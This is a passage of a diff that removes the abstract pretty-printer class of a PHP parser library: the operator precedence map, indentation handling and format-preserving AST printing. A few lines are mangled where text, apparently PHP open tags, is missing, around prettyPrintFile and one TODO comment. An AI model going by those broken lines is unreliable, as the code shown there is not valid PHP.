-1], - Expr\UnaryPlus::class => [ 10, -1, -1], - Expr\UnaryMinus::class => [ 10, -1, -1], - Cast\Int_::class => [ 10, -1, -1], - Cast\Double::class => [ 10, -1, -1], - Cast\String_::class => [ 10, -1, -1], - Cast\Array_::class => [ 10, -1, -1], - Cast\Object_::class => [ 10, -1, -1], - Cast\Bool_::class => [ 10, -1, -1], - Cast\Unset_::class => [ 10, -1, -1], - Expr\ErrorSuppress::class => [ 10, -1, -1], - Expr\Instanceof_::class => [ 20, -1, -1], - Expr\BooleanNot::class => [ 30, -1, -1], - BinaryOp\Mul::class => [ 40, 41, 40], - BinaryOp\Div::class => [ 40, 41, 40], - BinaryOp\Mod::class => [ 40, 41, 40], - BinaryOp\Plus::class => [ 50, 51, 50], - BinaryOp\Minus::class => [ 50, 51, 50], - BinaryOp\Concat::class => [ 50, 51, 50], - BinaryOp\ShiftLeft::class => [ 60, 61, 60], - BinaryOp\ShiftRight::class => [ 60, 61, 60], - BinaryOp\Smaller::class => [ 70, 70, 70], - BinaryOp\SmallerOrEqual::class => [ 70, 70, 70], - BinaryOp\Greater::class => [ 70, 70, 70], - BinaryOp\GreaterOrEqual::class => [ 70, 70, 70], - BinaryOp\Equal::class => [ 80, 80, 80], - BinaryOp\NotEqual::class => [ 80, 80, 80], - BinaryOp\Identical::class => [ 80, 80, 80], - BinaryOp\NotIdentical::class => [ 80, 80, 80], - BinaryOp\Spaceship::class => [ 80, 80, 80], - BinaryOp\BitwiseAnd::class => [ 90, 91, 90], - BinaryOp\BitwiseXor::class => [100, 101, 100], - BinaryOp\BitwiseOr::class => [110, 111, 110], - BinaryOp\BooleanAnd::class => [120, 121, 120], - BinaryOp\BooleanOr::class => [130, 131, 130], - BinaryOp\Coalesce::class => [140, 140, 141], - Expr\Ternary::class => [150, 150, 150], - Expr\Assign::class => [160, -1, -1], - Expr\AssignRef::class => [160, -1, -1], - AssignOp\Plus::class => [160, -1, -1], - AssignOp\Minus::class => [160, -1, -1], - AssignOp\Mul::class => [160, -1, -1], - AssignOp\Div::class => [160, -1, -1], - AssignOp\Concat::class => [160, -1, -1], - AssignOp\Mod::class => [160, -1, -1], - AssignOp\BitwiseAnd::class => [160, -1, -1], - AssignOp\BitwiseOr::class => [160, -1, -1], - AssignOp\BitwiseXor::class => [160, -1, -1], - AssignOp\ShiftLeft::class => [160, -1, -1], - AssignOp\ShiftRight::class => [160, -1, -1], - AssignOp\Pow::class => [160, -1, -1], - AssignOp\Coalesce::class => [160, -1, -1], - Expr\YieldFrom::class => [170, -1, -1], - Expr\Yield_::class => [175, -1, -1], - Expr\Print_::class => [180, -1, -1], - BinaryOp\LogicalAnd::class => [190, 191, 190], - BinaryOp\LogicalXor::class => [200, 201, 200], - BinaryOp\LogicalOr::class => [210, 211, 210], - Expr\Include_::class => [220, -1, -1], - Expr\ArrowFunction::class => [230, -1, -1], - Expr\Throw_::class => [240, -1, -1], - ]; - - /** @var int Current indentation level. */ - protected int $indentLevel; - /** @var string String for single level of indentation */ - private string $indent; - /** @var int Width in spaces to indent by. */ - private int $indentWidth; - /** @var bool Whether to use tab indentation. */ - private bool $useTabs; - /** @var int Width in spaces of one tab. */ - private int $tabWidth = 4; - - /** @var string Newline style. Does not include current indentation. */ - protected string $newline; - /** @var string Newline including current indentation. */ - protected string $nl; - /** @var string|null Token placed at end of doc string to ensure it is followed by a newline. - * Null if flexible doc strings are used. */ - protected ?string $docStringEndToken; - /** @var bool Whether semicolon namespaces can be used (i.e. no global namespace is used) */ - protected bool $canUseSemicolonNamespaces; - /** @var bool Whether to use short array syntax if the node specifies no preference */ - protected bool $shortArraySyntax; - /** @var PhpVersion PHP version to target */ - protected PhpVersion $phpVersion; - - /** @var TokenStream|null Original tokens for use in format-preserving pretty print */ - protected ?TokenStream $origTokens; - /** @var Internal\Differ Differ for node lists */ - protected Differ $nodeListDiffer; - /** @var array Map determining whether a certain character is a label character */ - protected array $labelCharMap; - /** - * @var array> Map from token classes and subnode names to FIXUP_* constants. - * This is used during format-preserving prints to place additional parens/braces if necessary. - */ - protected array $fixupMap; - /** - * @var array Map from "{$node->getType()}->{$subNode}" - * to ['left' => $l, 'right' => $r], where $l and $r specify the token type that needs to be stripped - * when removing this node. - */ - protected array $removalMap; - /** - * @var array Map from - * "{$node->getType()}->{$subNode}" to [$find, $beforeToken, $extraLeft, $extraRight]. - * $find is an optional token after which the insertion occurs. $extraLeft/Right - * are optionally added before/after the main insertions. - */ - protected array $insertionMap; - /** - * @var array Map From "{$class}->{$subNode}" to string that should be inserted - * between elements of this list subnode. - */ - protected array $listInsertionMap; - - /** - * @var array - */ - protected array $emptyListInsertionMap; - /** @var array Map from "{$class}->{$subNode}" to [$printFn, $token] - * where $printFn is the function to print the modifiers and $token is the token before which - * the modifiers should be reprinted. */ - protected array $modifierChangeMap; - - /** - * Creates a pretty printer instance using the given options. - * - * Supported options: - * * PhpVersion $phpVersion: The PHP version to target (default to PHP 7.4). This option - * controls compatibility of the generated code with older PHP - * versions in cases where a simple stylistic choice exists (e.g. - * array() vs []). It is safe to pretty-print an AST for a newer - * PHP version while specifying an older target (but the result will - * of course not be compatible with the older version in that case). - * * string $newline: The newline style to use. Should be "\n" (default) or "\r\n". - * * string $indent: The indentation to use. Should either be all spaces or a single - * tab. Defaults to four spaces (" "). - * * bool $shortArraySyntax: Whether to use [] instead of array() as the default array - * syntax, if the node does not specify a format. Defaults to whether - * the phpVersion support short array syntax. - * - * @param array{ - * phpVersion?: PhpVersion, newline?: string, indent?: string, shortArraySyntax?: bool - * } $options Dictionary of formatting options - */ - public function __construct(array $options = []) { - $this->phpVersion = $options['phpVersion'] ?? PhpVersion::fromComponents(7, 4); - - $this->newline = $options['newline'] ?? "\n"; - if ($this->newline !== "\n" && $this->newline != "\r\n") { - throw new \LogicException('Option "newline" must be one of "\n" or "\r\n"'); - } - - $this->shortArraySyntax = - $options['shortArraySyntax'] ?? $this->phpVersion->supportsShortArraySyntax(); - $this->docStringEndToken = - $this->phpVersion->supportsFlexibleHeredoc() ? null : '_DOC_STRING_END_' . mt_rand(); - - $this->indent = $indent = $options['indent'] ?? ' '; - if ($indent === "\t") { - $this->useTabs = true; - $this->indentWidth = $this->tabWidth; - } elseif ($indent === \str_repeat(' ', \strlen($indent))) { - $this->useTabs = false; - $this->indentWidth = \strlen($indent); - } else { - throw new \LogicException('Option "indent" must either be all spaces or a single tab'); - } - } - - /** - * Reset pretty printing state. - */ - protected function resetState(): void { - $this->indentLevel = 0; - $this->nl = $this->newline; - $this->origTokens = null; - } - - /** - * Set indentation level - * - * @param int $level Level in number of spaces - */ - protected function setIndentLevel(int $level): void { - $this->indentLevel = $level; - if ($this->useTabs) { - $tabs = \intdiv($level, $this->tabWidth); - $spaces = $level % $this->tabWidth; - $this->nl = $this->newline . \str_repeat("\t", $tabs) . \str_repeat(' ', $spaces); - } else { - $this->nl = $this->newline . \str_repeat(' ', $level); - } - } - - /** - * Increase indentation level. - */ - protected function indent(): void { - $this->indentLevel += $this->indentWidth; - $this->nl .= $this->indent; - } - - /** - * Decrease indentation level. - */ - protected function outdent(): void { - assert($this->indentLevel >= $this->indentWidth); - $this->setIndentLevel($this->indentLevel - $this->indentWidth); - } - - /** - * Pretty prints an array of statements. - * - * @param Node[] $stmts Array of statements - * - * @return string Pretty printed statements - */ - public function prettyPrint(array $stmts): string { - $this->resetState(); - $this->preprocessNodes($stmts); - - return ltrim($this->handleMagicTokens($this->pStmts($stmts, false))); - } - - /** - * Pretty prints an expression. - * - * @param Expr $node Expression node - * - * @return string Pretty printed node - */ - public function prettyPrintExpr(Expr $node): string { - $this->resetState(); - return $this->handleMagicTokens($this->p($node)); - } - - /** - * Pretty prints a file of statements (includes the opening newline . $this->newline; - } - - $p = "newline . $this->newline . $this->prettyPrint($stmts); - - if ($stmts[0] instanceof Stmt\InlineHTML) { - $p = preg_replace('/^<\?php\s+\?>\r?\n?/', '', $p); - } - if ($stmts[count($stmts) - 1] instanceof Stmt\InlineHTML) { - $p = preg_replace('/<\?php$/', '', rtrim($p)); - } - - return $p; - } - - /** - * Preprocesses the top-level nodes to initialize pretty printer state. - * - * @param Node[] $nodes Array of nodes - */ - protected function preprocessNodes(array $nodes): void { - /* We can use semicolon-namespaces unless there is a global namespace declaration */ - $this->canUseSemicolonNamespaces = true; - foreach ($nodes as $node) { - if ($node instanceof Stmt\Namespace_ && null === $node->name) { - $this->canUseSemicolonNamespaces = false; - break; - } - } - } - - /** - * Handles (and removes) doc-string-end tokens. - */ - protected function handleMagicTokens(string $str): string { - if ($this->docStringEndToken !== null) { - // Replace doc-string-end tokens with nothing or a newline - $str = str_replace( - $this->docStringEndToken . ';' . $this->newline, - ';' . $this->newline, - $str); - $str = str_replace($this->docStringEndToken, $this->newline, $str); - } - - return $str; - } - - /** - * Pretty prints an array of nodes (statements) and indents them optionally. - * - * @param Node[] $nodes Array of nodes - * @param bool $indent Whether to indent the printed nodes - * - * @return string Pretty printed statements - */ - protected function pStmts(array $nodes, bool $indent = true): string { - if ($indent) { - $this->indent(); - } - - $result = ''; - foreach ($nodes as $node) { - $comments = $node->getComments(); - if ($comments) { - $result .= $this->nl . $this->pComments($comments); - if ($node instanceof Stmt\Nop) { - continue; - } - } - - $result .= $this->nl . $this->p($node); - } - - if ($indent) { - $this->outdent(); - } - - return $result; - } - - /** - * Pretty-print an infix operation while taking precedence into account. - * - * @param string $class Node class of operator - * @param Node $leftNode Left-hand side node - * @param string $operatorString String representation of the operator - * @param Node $rightNode Right-hand side node - * @param int $precedence Precedence of parent operator - * @param int $lhsPrecedence Precedence for unary operator on LHS of binary operator - * - * @return string Pretty printed infix operation - */ - protected function pInfixOp( - string $class, Node $leftNode, string $operatorString, Node $rightNode, - int $precedence, int $lhsPrecedence - ): string { - list($opPrecedence, $newPrecedenceLHS, $newPrecedenceRHS) = $this->precedenceMap[$class]; - $prefix = ''; - $suffix = ''; - if ($opPrecedence >= $precedence) { - $prefix = '('; - $suffix = ')'; - $lhsPrecedence = self::MAX_PRECEDENCE; - } - return $prefix . $this->p($leftNode, $newPrecedenceLHS, $newPrecedenceLHS) - . $operatorString . $this->p($rightNode, $newPrecedenceRHS, $lhsPrecedence) . $suffix; - } - - /** - * Pretty-print a prefix operation while taking precedence into account. - * - * @param string $class Node class of operator - * @param string $operatorString String representation of the operator - * @param Node $node Node - * @param int $precedence Precedence of parent operator - * @param int $lhsPrecedence Precedence for unary operator on LHS of binary operator - * - * @return string Pretty printed prefix operation - */ - protected function pPrefixOp(string $class, string $operatorString, Node $node, int $precedence, int $lhsPrecedence): string { - $opPrecedence = $this->precedenceMap[$class][0]; - $prefix = ''; - $suffix = ''; - if ($opPrecedence >= $lhsPrecedence) { - $prefix = '('; - $suffix = ')'; - $lhsPrecedence = self::MAX_PRECEDENCE; - } - $printedArg = $this->p($node, $opPrecedence, $lhsPrecedence); - if (($operatorString === '+' && $printedArg[0] === '+') || - ($operatorString === '-' && $printedArg[0] === '-') - ) { - // Avoid printing +(+$a) as ++$a and similar. - $printedArg = '(' . $printedArg . ')'; - } - return $prefix . $operatorString . $printedArg . $suffix; - } - - /** - * Pretty-print a postfix operation while taking precedence into account. - * - * @param string $class Node class of operator - * @param string $operatorString String representation of the operator - * @param Node $node Node - * @param int $precedence Precedence of parent operator - * @param int $lhsPrecedence Precedence for unary operator on LHS of binary operator - * - * @return string Pretty printed postfix operation - */ - protected function pPostfixOp(string $class, Node $node, string $operatorString, int $precedence, int $lhsPrecedence): string { - $opPrecedence = $this->precedenceMap[$class][0]; - $prefix = ''; - $suffix = ''; - if ($opPrecedence >= $precedence) { - $prefix = '('; - $suffix = ')'; - $lhsPrecedence = self::MAX_PRECEDENCE; - } - if ($opPrecedence < $lhsPrecedence) { - $lhsPrecedence = $opPrecedence; - } - return $prefix . $this->p($node, $opPrecedence, $lhsPrecedence) . $operatorString . $suffix; - } - - /** - * Pretty prints an array of nodes and implodes the printed values. - * - * @param Node[] $nodes Array of Nodes to be printed - * @param string $glue Character to implode with - * - * @return string Imploded pretty printed nodes> $pre - */ - protected function pImplode(array $nodes, string $glue = ''): string { - $pNodes = []; - foreach ($nodes as $node) { - if (null === $node) { - $pNodes[] = ''; - } else { - $pNodes[] = $this->p($node); - } - } - - return implode($glue, $pNodes); - } - - /** - * Pretty prints an array of nodes and implodes the printed values with commas. - * - * @param Node[] $nodes Array of Nodes to be printed - * - * @return string Comma separated pretty printed nodes - */ - protected function pCommaSeparated(array $nodes): string { - return $this->pImplode($nodes, ', '); - } - - /** - * Pretty prints a comma-separated list of nodes in multiline style, including comments. - * - * The result includes a leading newline and one level of indentation (same as pStmts). - * - * @param Node[] $nodes Array of Nodes to be printed - * @param bool $trailingComma Whether to use a trailing comma - * - * @return string Comma separated pretty printed nodes in multiline style - */ - protected function pCommaSeparatedMultiline(array $nodes, bool $trailingComma): string { - $this->indent(); - - $result = ''; - $lastIdx = count($nodes) - 1; - foreach ($nodes as $idx => $node) { - if ($node !== null) { - $comments = $node->getComments(); - if ($comments) { - $result .= $this->nl . $this->pComments($comments); - } - - $result .= $this->nl . $this->p($node); - } else { - $result .= $this->nl; - } - if ($trailingComma || $idx !== $lastIdx) { - $result .= ','; - } - } - - $this->outdent(); - return $result; - } - - /** - * Prints reformatted text of the passed comments. - * - * @param Comment[] $comments List of comments - * - * @return string Reformatted text of comments - */ - protected function pComments(array $comments): string { - $formattedComments = []; - - foreach ($comments as $comment) { - $formattedComments[] = str_replace("\n", $this->nl, $comment->getReformattedText()); - } - - return implode($this->nl, $formattedComments); - } - - /** - * Perform a format-preserving pretty print of an AST. - * - * The format preservation is best effort. For some changes to the AST the formatting will not - * be preserved (at least not locally). - * - * In order to use this method a number of prerequisites must be satisfied: - * * The startTokenPos and endTokenPos attributes in the lexer must be enabled. - * * The CloningVisitor must be run on the AST prior to modification. - * * The original tokens must be provided, using the getTokens() method on the lexer. - * - * @param Node[] $stmts Modified AST with links to original AST - * @param Node[] $origStmts Original AST with token offset information - * @param Token[] $origTokens Tokens of the original code - */ - public function printFormatPreserving(array $stmts, array $origStmts, array $origTokens): string { - $this->initializeNodeListDiffer(); - $this->initializeLabelCharMap(); - $this->initializeFixupMap(); - $this->initializeRemovalMap(); - $this->initializeInsertionMap(); - $this->initializeListInsertionMap(); - $this->initializeEmptyListInsertionMap(); - $this->initializeModifierChangeMap(); - - $this->resetState(); - $this->origTokens = new TokenStream($origTokens, $this->tabWidth); - - $this->preprocessNodes($stmts); - - $pos = 0; - $result = $this->pArray($stmts, $origStmts, $pos, 0, 'File', 'stmts', null); - if (null !== $result) { - $result .= $this->origTokens->getTokenCode($pos, count($origTokens) - 1, 0); - } else { - // Fallback - // TODO Add newline . $this->pStmts($stmts, false); - } - - return $this->handleMagicTokens($result); - } - - protected function pFallback(Node $node, int $precedence, int $lhsPrecedence): string { - return $this->{'p' . $node->getType()}($node, $precedence, $lhsPrecedence); - } - - /** - * Pretty prints a node. - * - * This method also handles formatting preservation for nodes. - * - * @param Node $node Node to be pretty printed - * @param int $precedence Precedence of parent operator - * @param int $lhsPrecedence Precedence for unary operator on LHS of binary operator - * @param bool $parentFormatPreserved Whether parent node has preserved formatting - * - * @return string Pretty printed node - */ - protected function p( - Node $node, int $precedence = self::MAX_PRECEDENCE, int $lhsPrecedence = self::MAX_PRECEDENCE, - bool $parentFormatPreserved = false - ): string { - // No orig tokens means this is a normal pretty print without preservation of formatting - if (!$this->origTokens) { - return $this->{'p' . $node->getType()}($node, $precedence, $lhsPrecedence); - } - - /** @var Node|null $origNode */ - $origNode = $node->getAttribute('origNode'); - if (null === $origNode) { - return $this->pFallback($node, $precedence, $lhsPrecedence); - } - - $class = \get_class($node); - \assert($class === \get_class($origNode)); - - $startPos = $origNode->getStartTokenPos(); - $endPos = $origNode->getEndTokenPos(); - \assert($startPos >= 0 && $endPos >= 0); - - $fallbackNode = $node; - if ($node instanceof Expr\New_ && $node->class instanceof Stmt\Class_) { - // Normalize node structure of anonymous classes - assert($origNode instanceof Expr\New_); - $node = PrintableNewAnonClassNode::fromNewNode($node); - $origNode = PrintableNewAnonClassNode::fromNewNode($origNode); - $class = PrintableNewAnonClassNode::class; - } - - // InlineHTML node does not contain closing and opening PHP tags. If the parent formatting - // is not preserved, then we need to use the fallback code to make sure the tags are - // printed. - if ($node instanceof Stmt\InlineHTML && !$parentFormatPreserved) { - return $this->pFallback($fallbackNode, $precedence, $lhsPrecedence); - } - - $indentAdjustment = $this->indentLevel - $this->origTokens->getIndentationBefore($startPos); - - $type = $node->getType(); - $fixupInfo = $this->fixupMap[$class] ?? null; - - $result = ''; - $pos = $startPos; - foreach ($node->getSubNodeNames() as $subNodeName) { - $subNode = $node->$subNodeName; - $origSubNode = $origNode->$subNodeName; - - if ((!$subNode instanceof Node && $subNode !== null) - || (!$origSubNode instanceof Node && $origSubNode !== null) - ) { - if ($subNode === $origSubNode) { - // Unchanged, can reuse old code - continue; - } - - if (is_array($subNode) && is_array($origSubNode)) { - // Array subnode changed, we might be able to reconstruct it - $listResult = $this->pArray( - $subNode, $origSubNode, $pos, $indentAdjustment, $class, $subNodeName, - $fixupInfo[$subNodeName] ?? null - ); - if (null === $listResult) { - return $this->pFallback($fallbackNode, $precedence, $lhsPrecedence); - } - - $result .= $listResult; - continue; - } - - // Check if this is a modifier change - $key = $class . '->' . $subNodeName; - if (!isset($this->modifierChangeMap[$key])) { - return $this->pFallback($fallbackNode, $precedence, $lhsPrecedence); - } - - [$printFn, $findToken] = $this->modifierChangeMap[$key]; - $result .= $this->$printFn($subNode); - $pos = $this->origTokens->findRight($pos, $findToken); - continue; - } - - $extraLeft = ''; - $extraRight = ''; - if ($origSubNode !== null) { - $subStartPos = $origSubNode->getStartTokenPos(); - $subEndPos = $origSubNode->getEndTokenPos(); - \assert($subStartPos >= 0 && $subEndPos >= 0); - } else { - if ($subNode === null) { - // Both null, nothing to do - continue; - } - - // A node has been inserted, check if we have insertion information for it - $key = $type . '->' . $subNodeName; - if (!isset($this->insertionMap[$key])) { - return $this->pFallback($fallbackNode, $precedence, $lhsPrecedence); - } - - list($findToken, $beforeToken, $extraLeft, $extraRight) = $this->insertionMap[$key]; - if (null !== $findToken) { - $subStartPos = $this->origTokens->findRight($pos, $findToken) - + (int) !$beforeToken; - } else { - $subStartPos = $pos; - } - - if (null === $extraLeft && null !== $extraRight) { - // If inserting on the right only, skipping whitespace looks better - $subStartPos = $this->origTokens->skipRightWhitespace($subStartPos); - } - $subEndPos = $subStartPos - 1; - } - - if (null === $subNode) { - // A node has been removed, check if we have removal information for it - $key = $type . '->' . $subNodeName; - if (!isset($this->removalMap[$key])) { - return $this->pFallback($fallbackNode, $precedence, $lhsPrecedence); - } - - // Adjust positions to account for additional tokens that must be skipped - $removalInfo = $this->removalMap[$key]; - if (isset($removalInfo['left'])) { - $subStartPos = $this->origTokens->skipLeft($subStartPos - 1, $removalInfo['left']) + 1; - } - if (isset($removalInfo['right'])) { - $subEndPos = $this->origTokens->skipRight($subEndPos + 1, $removalInfo['right']) - 1; - } - } - - $result .= $this->origTokens->getTokenCode($pos, $subStartPos, $indentAdjustment); - - if (null !== $subNode) { - $result .= $extraLeft; - - $origIndentLevel = $this->indentLevel; - $this->setIndentLevel(max($this->origTokens->getIndentationBefore($subStartPos) + $indentAdjustment, 0)); - - // If it's the same node that was previously in this position, it certainly doesn't - // need fixup. It's important to check this here, because our fixup checks are more - // conservative than strictly necessary. - if (isset($fixupInfo[$subNodeName]) - && $subNode->getAttribute('origNode') !== $origSubNode - ) { - $fixup = $fixupInfo[$subNodeName]; - $res = $this->pFixup($fixup, $subNode, $class, $subStartPos, $subEndPos); - } else { - $res = $this->p($subNode, self::MAX_PRECEDENCE, self::MAX_PRECEDENCE, true); - } - - $this->safeAppend($result, $res); - $this->setIndentLevel($origIndentLevel); - - $result .= $extraRight; - } - - $pos = $subEndPos + 1; - } - - $result .= $this->origTokens->getTokenCode($pos, $endPos + 1, $indentAdjustment); - return $result; - } - - /** - * Perform a format-preserving pretty print of an array. - * - * @param Node[] $nodes New nodes - * @param Node[] $origNodes Original nodes - * @param int $pos Current token position (updated by reference) - * @param int $indentAdjustment Adjustment for indentation - * @param string $parentNodeClass Class of the containing node. - * @param string $subNodeName Name of array subnode. - * @param null|int $fixup Fixup information for array item nodes - * - * @return null|string Result of pretty print or null if cannot preserve formatting - */ - protected function pArray( - array $nodes, array $origNodes, int &$pos, int $indentAdjustment, - string $parentNodeClass, string $subNodeName, ?int $fixup - ): ?string { - $diff = $this->nodeListDiffer->diffWithReplacements($origNodes, $nodes); - - $mapKey = $parentNodeClass . '->' . $subNodeName; - $insertStr = $this->listInsertionMap[$mapKey] ?? null; - $isStmtList = $subNodeName === 'stmts'; - - $beforeFirstKeepOrReplace = true; - $skipRemovedNode = false; - $delayedAdd = []; - $lastElemIndentLevel = $this->indentLevel; - - $insertNewline = false; - if ($insertStr === "\n") { - $insertStr = ''; - $insertNewline = true; - } - - if ($isStmtList && \count($origNodes) === 1 && \count($nodes) !== 1) { - $startPos = $origNodes[0]->getStartTokenPos(); - $endPos = $origNodes[0]->getEndTokenPos(); - \assert($startPos >= 0 && $endPos >= 0); - if (!$this->origTokens->haveBraces($startPos, $endPos)) { - // This was a single statement without braces, but either additional statements - // have been added, or the single statement has been removed. This requires the - // addition of braces. For now fall back. - // TODO: Try to preserve formatting - return null; - } - } - - $result = ''; - foreach ($diff as $i => $diffElem) { - $diffType = $diffElem->type; - /** @var Node|string|null $arrItem */ - $arrItem = $diffElem->new; - /** @var Node|string|null $origArrItem */ - $origArrItem = $diffElem->old; - - if ($diffType === DiffElem::TYPE_KEEP || $diffType === DiffElem::TYPE_REPLACE) { - $beforeFirstKeepOrReplace = false; - - if ($origArrItem === null || $arrItem === null) { - // We can only handle the case where both are null - if ($origArrItem === $arrItem) { - continue; - } - return null; - } - - if (!$arrItem instanceof Node || !$origArrItem instanceof Node) { - // We can only deal with nodes. This can occur for Names, which use string arrays. - return null; - } - - $itemStartPos = $origArrItem->getStartTokenPos(); - $itemEndPos = $origArrItem->getEndTokenPos(); - \assert($itemStartPos >= 0 && $itemEndPos >= 0 && $itemStartPos >= $pos); - - $origIndentLevel = $this->indentLevel; - $lastElemIndentLevel = max($this->origTokens->getIndentationBefore($itemStartPos) + $indentAdjustment, 0); - $this->setIndentLevel($lastElemIndentLevel); - - $comments = $arrItem->getComments(); - $origComments = $origArrItem->getComments(); - $commentStartPos = $origComments ? $origComments[0]->getStartTokenPos() : $itemStartPos; - \assert($commentStartPos >= 0); - - if ($commentStartPos < $pos) { - // Comments may be assigned to multiple nodes if they start at the same position. - // Make sure we don't try to print them multiple times. - $commentStartPos = $itemStartPos; - } - - if ($skipRemovedNode) { - if ($isStmtList && $this->origTokens->haveTagInRange($pos, $itemStartPos)) { - // We'd remove an opening/closing PHP tag. - // TODO: Preserve formatting. - $this->setIndentLevel($origIndentLevel); - return null; - } - } else { - $result .= $this->origTokens->getTokenCode( - $pos, $commentStartPos, $indentAdjustment); - } - - if (!empty($delayedAdd)) { - /** @var Node $delayedAddNode */ - foreach ($delayedAdd as $delayedAddNode) { - if ($insertNewline) { - $delayedAddComments = $delayedAddNode->getComments(); - if ($delayedAddComments) { - $result .= $this->pComments($delayedAddComments) . $this->nl; - } - } - - $this->safeAppend($result, $this->p($delayedAddNode, self::MAX_PRECEDENCE, self::MAX_PRECEDENCE, true)); - - if ($insertNewline) { - $result .= $insertStr . $this->nl; - } else { - $result .= $insertStr; - } - } - - $delayedAdd = []; - } - - if ($comments !== $origComments) { - if ($comments) { - $result .= $this->pComments($comments) . $this->nl; - } - } else { - $result .= $this->origTokens->getTokenCode( - $commentStartPos, $itemStartPos, $indentAdjustment); - } - - // If we had to remove anything, we have done so now. - $skipRemovedNode = false; - } elseif ($diffType === DiffElem::TYPE_ADD) { - if (null === $insertStr) { - // We don't have insertion information for this list type - return null; - } - - if (!$arrItem instanceof Node) { - // We only support list insertion of nodes. - return null; - } - - // We go multiline if the original code was multiline, - // or if it's an array item with a comment above it. - // Match always uses multiline formatting. - if ($insertStr === ', ' && - ($this->isMultiline($origNodes) || $arrItem->getComments() || - $parentNodeClass === Expr\Match_::class) - ) { - $insertStr = ','; - $insertNewline = true; - } - - if ($beforeFirstKeepOrReplace) { - // Will be inserted at the next "replace" or "keep" element - $delayedAdd[] = $arrItem; - continue; - } - - $itemStartPos = $pos; - $itemEndPos = $pos - 1; - - $origIndentLevel = $this->indentLevel; - $this->setIndentLevel($lastElemIndentLevel); - - if ($insertNewline) { - $result .= $insertStr . $this->nl; - $comments = $arrItem->getComments(); - if ($comments) { - $result .= $this->pComments($comments) . $this->nl; - } - } else { - $result .= $insertStr; - } - } elseif ($diffType === DiffElem::TYPE_REMOVE) { - if (!$origArrItem instanceof Node) { - // We only support removal for nodes - return null; - } - - $itemStartPos = $origArrItem->getStartTokenPos(); - $itemEndPos = $origArrItem->getEndTokenPos(); - \assert($itemStartPos >= 0 && $itemEndPos >= 0); - - // Consider comments part of the node. - $origComments = $origArrItem->getComments(); - if ($origComments) { - $itemStartPos = $origComments[0]->getStartTokenPos(); - } - - if ($i === 0) { - // If we're removing from the start, keep the tokens before the node and drop those after it, - // instead of the other way around. - $result .= $this->origTokens->getTokenCode( - $pos, $itemStartPos, $indentAdjustment); - $skipRemovedNode = true; - } else { - if ($isStmtList && $this->origTokens->haveTagInRange($pos, $itemStartPos)) { - // We'd remove an opening/closing PHP tag. - // TODO: Preserve formatting. - return null; - } - } - - $pos = $itemEndPos + 1; - continue; - } else { - throw new \Exception("Shouldn't happen"); - } - - if (null !== $fixup && $arrItem->getAttribute('origNode') !== $origArrItem) { - $res = $this->pFixup($fixup, $arrItem, null, $itemStartPos, $itemEndPos); - } else { - $res = $this->p($arrItem, self::MAX_PRECEDENCE, self::MAX_PRECEDENCE, true); - } - $this->safeAppend($result, $res); - - $this->setIndentLevel($origIndentLevel); - $pos = $itemEndPos + 1; - } - - if ($skipRemovedNode) { - // TODO: Support removing single node. - return null; - } - - if (!empty($delayedAdd)) { - if (!isset($this->emptyListInsertionMap[$mapKey])) { - return null; - } - - list($findToken, $extraLeft, $extraRight) = $this->emptyListInsertionMap[$mapKey]; - if (null !== $findToken) { - $insertPos = $this->origTokens->findRight($pos, $findToken) + 1; - $result .= $this->origTokens->getTokenCode($pos, $insertPos, $indentAdjustment); - $pos = $insertPos; - } - - $first = true; - $result .= $extraLeft; - foreach ($delayedAdd as $delayedAddNode) { - if (!$first) { - $result .= $insertStr; - if ($insertNewline) { - $result .= $this->nl; - } - } - $result .= $this->p($delayedAddNode, self::MAX_PRECEDENCE, self::MAX_PRECEDENCE, true); - $first = false; - } - $result .= $extraRight === "\n" ? $this->nl : $extraRight; - } - - return $result; - } - - /** - * Print node with fixups. - * - * Fixups here refer to the addition of extra parentheses, braces or other characters, that - * are required to preserve program semantics in a certain context (e.g. to maintain precedence - * or because only certain expressions are allowed in certain places). - * - * @param int $fixup Fixup type - * @param Node $subNode Subnode to print - * @param string|null $parentClass Class of parent node - * @param int $subStartPos Original start pos of subnode - * @param int $subEndPos Original end pos of subnode - * - * @return string Result of fixed-up print of subnode - */ - protected function pFixup(int $fixup, Node $subNode, ?string $parentClass, int $subStartPos, int $subEndPos): string { - switch ($fixup) { - case self::FIXUP_PREC_LEFT: - // We use a conservative approximation where lhsPrecedence == precedence. - if (!$this->origTokens->haveParens($subStartPos, $subEndPos)) { - $precedence = $this->precedenceMap[$parentClass][1]; - return $this->p($subNode, $precedence, $precedence); - } - break; - case self::FIXUP_PREC_RIGHT: - if (!$this->origTokens->haveParens($subStartPos, $subEndPos)) { - $precedence = $this->precedenceMap[$parentClass][2]; - return $this->p($subNode, $precedence, $precedence); - } - break; - case self::FIXUP_PREC_UNARY: - if (!$this->origTokens->haveParens($subStartPos, $subEndPos)) { - $precedence = $this->precedenceMap[$parentClass][0]; - return $this->p($subNode, $precedence, $precedence); - } - break; - case self::FIXUP_CALL_LHS: - if ($this->callLhsRequiresParens($subNode) - && !$this->origTokens->haveParens($subStartPos, $subEndPos) - ) { - return '(' . $this->p($subNode) . ')'; - } - break; - case self::FIXUP_DEREF_LHS: - if ($this->dereferenceLhsRequiresParens($subNode) - && !$this->origTokens->haveParens($subStartPos, $subEndPos) - ) { - return '(' . $this->p($subNode) . ')'; - } - break; - case self::FIXUP_STATIC_DEREF_LHS: - if ($this->staticDereferenceLhsRequiresParens($subNode) - && !$this->origTokens->haveParens($subStartPos, $subEndPos) - ) { - return '(' . $this->p($subNode) . ')'; - } - break; - case self::FIXUP_NEW: - if ($this->newOperandRequiresParens($subNode) - && !$this->origTokens->haveParens($subStartPos, $subEndPos)) { - return '(' . $this->p($subNode) . ')'; - } - break; - case self::FIXUP_BRACED_NAME: - case self::FIXUP_VAR_BRACED_NAME: - if ($subNode instanceof Expr - && !$this->origTokens->haveBraces($subStartPos, $subEndPos) - ) { - return ($fixup === self::FIXUP_VAR_BRACED_NAME ? '$' : '') - . '{' . $this->p($subNode) . '}'; - } - break; - case self::FIXUP_ENCAPSED: - if (!$subNode instanceof Node\InterpolatedStringPart - && !$this->origTokens->haveBraces($subStartPos, $subEndPos) - ) { - return '{' . $this->p($subNode) . '}'; - } - break; - default: - throw new \Exception('Cannot happen'); - } - - // Nothing special to do - return $this->p($subNode); - } - - /** - * Appends to a string, ensuring whitespace between label characters. - * - * Example: "echo" and "$x" result in "echo$x", but "echo" and "x" result in "echo x". - * Without safeAppend the result would be "echox", which does not preserve semantics. - */ - protected function safeAppend(string &$str, string $append): void { - if ($str === "") { - $str = $append; - return; - } - - if ($append === "") { - return; - } - - if (!$this->labelCharMap[$append[0]] - || 